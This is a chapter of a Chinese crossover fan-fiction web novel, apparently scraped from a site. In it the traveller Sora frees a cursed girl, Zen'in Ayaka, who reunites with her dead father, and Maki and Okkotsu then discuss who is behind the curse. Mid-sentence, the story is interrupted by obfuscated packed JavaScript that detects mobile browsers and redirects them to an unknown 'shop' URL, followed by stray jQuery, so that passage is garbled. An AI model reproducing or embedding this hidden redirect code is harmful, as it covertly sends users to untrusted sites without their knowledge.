20.第 20 章

作品:《旅行者,但至冬卡池

    漆黑的咒力在一瞬间完全扩散开来。


    女孩幼小的身体迅速膨胀扭曲,四肢被拉得细长的有如瘦长鬼影一般,最终整个人变幻成了丑陋而怪异的咒灵模样。


    这种由人类负面情绪诞生的生物,似乎看起来都是这样丑陋又扭曲。


    似乎是因为死在黑暗中的缘故,这个咒灵的术式看起来与四周的黑影紧密相连。


    只是因为年龄与阅历的关系,她对这份力量的使用比较稚嫩而直白。


    空能够轻松的应对所有袭击上来的黑影。


    老实说,这场面甚至让他产生了一种在挪德卡莱打狂猎时的错觉。


    都是一群黑漆漆的东西嗷嗷叫地扑上来。


    只是比起狂猎来说,这些影子的实力实在是不太够看。


    为了更快找到咒灵的破绽,旅行者有意放大了自己的轻松。


    他的脚步散漫,刀锋收放自如,没有用出全力。


    只是斩断了所有想要直接触碰他影子的怪手。


    大概是真的被空过于放松的表现挑衅到,咒灵发出了一声愤怒的嘶吼。


    黑影不再以人形姿态冲上来,而是汇聚到一起掀起了黑色的浪潮。


    那浪潮向他扑来,没有留下丝毫可以让他侧身躲避的缝隙。


    看来这就是二阶段了。


    面对席卷而来,铺天盖地试图将他完全包围吞噬的黑影,空微微屈膝。


    他压低身体,握紧刀柄,步伐稳定地往前踏出半步,以剑刃正面迎向那片黑色的潮水


    浪潮毫无疑问地突破了他刀锋的防线。


    只是并没有如咒灵所愿。


    厚重的岩造物瞬间自地面隆起,将黑色潮水一滴不漏地挡在空身体之外。


    在咒灵短暂的怔愣之际,空毫不犹豫地顺势落下剑锋,斩向因主动贴近攻击他而近在咫尺的咒灵本体。


    在锋刃完全切开挡在他们中间的所有黑影之前,他听见这个咒灵近乎崩溃的尖叫:“他为什么要回来?!”


    见她终于说出了心里话,空的刀锋微微一偏,收回了大半的力道。


    “绫香……已经够了。”


    一声轻得几乎要被忽略的低语从他们身后响起。


    那声音带着浓重的疲惫,听起来像是刚刚从漫长的噩梦里醒来一般。


    穿着褴褛风衣的中年男人不知何时挡在了咒灵的面前。


    男人略长的头发乱糟糟地贴在脸侧,他背对着咒灵,整个人几乎被空的斩击压得半跪在地。


    替她挡住了致命的一击。


    “……请到此为止吧,咒术师。”


    他沙哑着嗓子开口,却是在对空恳求,“请让我与绫香说说话吧。”


    绫香应该就是女孩的名字了。


    空没有在这种时候多此一举解释自己并不是咒术师,只是默认了他的叫法。


    他顺势收回了剑锋后退几步,将空间完全留给父女两人。


    失去了压力来源,男人的身体微微一晃,踉跄着稳住。


    那咒灵愣住了。


    她呆呆地看着挡在自己前面的那道背影,巨大的咒灵躯体僵在原地,全然没有先前癫狂暴走的模样。


    “……绫香。”


    他像从前那样唤她的名字,声音因情绪的激动而颤抖,“对不起,我来晚了。”


    这句话,迟了太多年。


    咒灵巨大的身体顿在那里,伫立了许久。


    纠缠在她身上的阴影松动了,丑陋的化身终于开始崩散,那漆黑的皮肤剥落,将被包裹在最核心处的女孩身体露了出来。


    她还是那个扎着双马尾的孩子,一如当初。


    “你怎么现在才来啊!”


    女孩带着满腔的怨愤把这句话砸向他


    “嗯,我很抱歉。”


    男人没有为自己辩解,只是眼中含泪温柔地看着她。


    女孩自己也知道男人为什么没回来。


    在她作为咒灵诞生的那一刻,在她被恐惧和愤怒彻底淹没失控暴走的那一瞬间,她就已经亲手将他杀死了。


    只不过她不敢承认罢了。


    所以这么长时间她都只是在自欺欺人而已。


    “你……”她喃喃,“……你早就……”


    “我来晚了。”他又一次重复,“对不起,绫香。”


    这一回,她终于哭出了声。


    “对不起,是我的错……爸爸!”


    她猛地扑进父亲怀里,紧紧抓着他破旧风衣的衣角,哭得喘不过气来。


    她的父亲弯下身,如往常无数次那样拥住了女儿。


    一只手护在她的后脑,一只手轻轻拍她的后背,一遍一遍低声安抚:


    “没事了……没事了,绫香,爸爸在这。”


    ……


    在女孩断断续续的啜泣声中,领域开始崩塌。


    两人的身体也在渐渐变得透明。


    实现愿望之后,失去了负面情感的支撑,使他们停留在世间的诅咒也随之一点点消散了。


    绫香低头看着自己的双手,这是属于人类的手,瘦小苍白的指尖,边缘被光一点点吞掉。


    “我……是不是要消失了?”她吸着鼻子问。


    已经亲身经历过一次死亡,女孩还是有些低落。


    “别害怕,爸爸会和你一起的。”


    男人将女孩轻轻拉到自己身侧,握住她的手温柔的回应。


    “嗯!”


    这就是她这些年来最想听到的话。


    女孩露出了幸福的笑容。


    空站在原地安静看着这一切,没有出声打扰。


    男人转过身,朝他微微鞠了一躬。


    “……谢谢你,给了我与绫香再见的机会。”


    女孩也回过头对他笑:“再见啦大哥哥!我叫做禅院绫香,谢谢你让我见到了爸爸!”


    禅院?


    和禅院真希一样的姓氏。


    空意外地挑了下眉,却没有多说什么。


    只是目送那一大一小两道身影在他面前缓缓化作无数光点。


    ……


    领域解除了,空站在已经恢复正常的走廊上。


    说起来,为什么这道寄宿了诅咒本体的铁皮金属门,会出现在一个正在施工中的写字楼里?


    就算老板偷工减料以次充好,碰巧买到被诅咒的材料装在这里,这运气也太寸了点。


    不太像巧合。


    还是说是谁为了某种目的,将这对父女的诅咒刻意偷渡到了这里?


    想到女孩叙述中存在感极高的第三人。


    空觉得自己已经大致锁定了人选。


    “空先生!你没事吧?”


    乙骨和真希这时才从另一端的楼梯口赶过来,气息还略显紊乱,显然是一路狂奔来的。


    也不知是跑了多久,不会他这边推理分析打咒灵,这两人一直在跑步吧。


    真希扫了一眼四周,确认咒灵气息已经完全消失,帐也在缓慢散去,才收回目光。


    “是你祓除了咒灵?”她问。


    “嗯。”空点头,他将发生的事情与自己的猜测简要说了一遍,


    “啧,真是个人渣。”


    真希听完后露骨地唾弃,脸上写满了厌恶,为这对父女的遭遇而愤愤不平。


    欺骗,利用,残杀无辜小咒术师来炼咒灵的邪道,在她眼里比那些拿普通人撒气的诅咒师更该死。


    生性温柔的乙骨大概更不好受,他呆呆地望着女孩消失的地方,轻声问,“这也是盘星教做的事吗?”


    是因为他们来晚一步,才让诅咒师做出这样残忍的事情吗?


    空倒是不这么觉得。


    盘星教显然是最近才开始大规模活动的,而且根据他这段时间听来的情报,他们是立场非常鲜明的咒术师主义者。


    就算要针对,盘星


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358918|198924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    教也只会针对非术士,而这件事中幕后黑手针对的目标,显然是咒术师。


    或者更准确一点,是天赋很高,很有价值的咒术师。


    之后真希的话也印证了他的观点。


    “不……这不会是盘星教的手笔。”


    虽然不情愿给敌人说好话,但真希还是很公道地评价。


    “盘星教虽然是诅咒师组织,杀人无数没错,但这些年一直致力于救助幼年咒术师,他们是绝对的咒术师至上主义者。”


    她看乙骨没听懂,说得更明白些,“夏油杰是真的把咒术师当自己家人看。他要是听说过这里的情况,绝对会立刻替这个孩子去复仇,顺便宰了那个敢用小咒术师炼咒灵的渣滓。”


    “所以……”她推了推眼镜,“我们没收到特级诅咒师在横滨大杀特杀的情报,对吧?”


    换句话说,如果夏油杰知道这件事,这栋楼和幕后黑手恐怕已经变成新闻事件了,不可能安静到现在。


    他们没有收到夏油教祖在横滨发大疯的情报,说明盘星教不知道这件事,这起案件八成和他们无关。


    空听着这个理由,心里倒是有些意外。


    作为咒术师的禅院真希,竟然是以夏油杰没有为此发疯屠杀为依据来推测盘星教不知情。


    看样子,这位夏油教祖也是很声名在外了。


    乙骨忧太看起来则更加混乱了。


    他原本以为咒术师就是正派,而诅咒师就是反派。


    既然高专是好人一方,那盘星教自然就是坏人阵营。


    但是没想到听真希的意思,身为诅咒师头领的夏油杰竟然会大费周章、吃力不讨好地为与自己毫不相干的弱小咒术师报仇。


    在这一点上,他现在很难说夏油杰是错的。


    倒不如说,要是夏油杰真的会这般做,那他应该是个急公好义的大好人才对,又怎么会成为咒术界唯一的特级诅咒师。


    “……不说这个了。”


    真希甩甩头,像是不想继续讨论这个话题。


    她将目光转向空,眼神亮了亮,语气忽然多了几分战意,“能对付拥有领域的咒灵,你的术式想必很强,有时间较量一下?”


    空对她微微一笑,没有接话。


    ……所以这位果然是和达达利亚一个类型的吗?


    一开始的质问不会真的是想要骗架打吧?


    真希似乎把他的沉默当成是在考虑,又补充了一句:“你的实力不错,要不要来高专上学?如果你要入学的话,我们可以给你推荐。”


    “不了。”


    空毫不犹豫地拒绝,“我还是更喜欢做旅行者,到处冒险。”


    对他而言,自由地在各个世界,各个城市之间来去,才是他真正想要的生活。


    何况,在他认识的所有和咒术界打过交道的异能力者口中,咒术师的名声实在是太差了。


    全年无休,昼夜加班,还没有任何保障!


    兰波先生曾经着重强调过这一点,语气之沉痛,仿佛在讲什么新型恐怖怪谈。


    显然,这种工作制度让作为法兰西人的他完全无法接受。


    被毫不犹豫地拒绝,真希啧了一声,看起来有些可惜,叫上了还在发愣的乙骨忧太,扛着长柄武器准备转身离开。


    “对了……”


    空想了想,还是叫住了她,有一点他刚刚没说出口。


    “那个女孩有着与你同样的姓氏,禅院。”


    真希愣了一下顿住脚步,她的脸色瞬间微变,原本有些随意的表情收了起来,眼神一下子变得冷厉:“……原来追杀他们的是那些家伙。”


    听上去,追杀这对父女的竟然是他们自己的本家人?


    禅院真希看起来没有详细说明的意思。


    她沉默了几秒,深吸一口气,很郑重地对空点头致谢:“……谢谢你告诉我。”


    空见她心里有数,便不再追问。